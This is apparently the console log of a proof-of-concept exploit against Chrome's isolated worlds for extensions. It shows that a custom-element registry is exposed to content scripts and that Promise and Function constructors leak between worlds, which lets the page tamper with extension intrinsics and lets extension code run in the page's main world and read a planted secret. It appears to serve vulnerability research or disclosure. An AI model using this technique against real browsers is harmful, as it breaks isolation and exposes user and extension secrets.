=== POC console output (full log: /tmp/chrome-poc.wrx9r3.log) ===
[ISOLATED-WORLD] window.customElements = null   (expected: null — guarded by IsMainWorld())
[ISOLATED-WORLD] document.customElementRegistry = [object CustomElementRegistry]   (BUG A: should be null in isolated world, but is exposed)
[ISOLATED-WORLD] seeded when_defined_promise_map_["x-isofirst"] with isolated-world resolver
[MAIN-WORLD]     whenDefined("x-isofirst") proto === our Promise.prototype ? false   (BUG B path 1: foreign-world Promise!)
[MAIN-WORLD]     q.constructor === (our) Promise ? false   (false => holding the isolated-world Promise constructor)
[MAIN-WORLD]     isoFunction === (our) Function ? false   (false => holding the isolated-world Function constructor)
[894:894:0516/171439.357914:INFO:CONSOLE:11] "[MAIN-WORLD]     isoFunction() blocked by content-script CSP (MV3 hardening): Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:* chrome-extension://d4354f02-a55a-4eda-a941-25c30134111c/".
[MAIN-WORLD]       ...but e instanceof (our) Error == false   (false => even the thrown EvalError is a foreign-realm object)
[ISOLATED-WORLD] Promise.prototype.__PWNED_BY_PAGE = "page wrote to isolated-world Promise.prototype"   (page tampered with isolated-world intrinsics, no eval needed)
[ISOLATED-WORLD] whenDefined("x-mainfirst") promise proto === our Promise.prototype ? false   (BUG B path 1: foreign-world Promise!)
[ISOLATED-WORLD] EXPLOIT(ext->page): executed main-world code, read __MAIN_WORLD_SECRET = "secret-from-page-main-world"
[ISOLATED-WORLD] whenDefined("x-defined") resolved value instanceof (our) Function ? false   (BUG B path 2: foreign-world v8::Function!)
[ISOLATED-WORLD] EXPLOIT(path 2): main-world Function ctor returned "secret-from-page-main-world"
[MAIN-WORLD]     post-exploit: window.__OWNED_FROM_ISOLATED = "isolated-world executed in main world"
[MAIN-WORLD]     === POC complete ===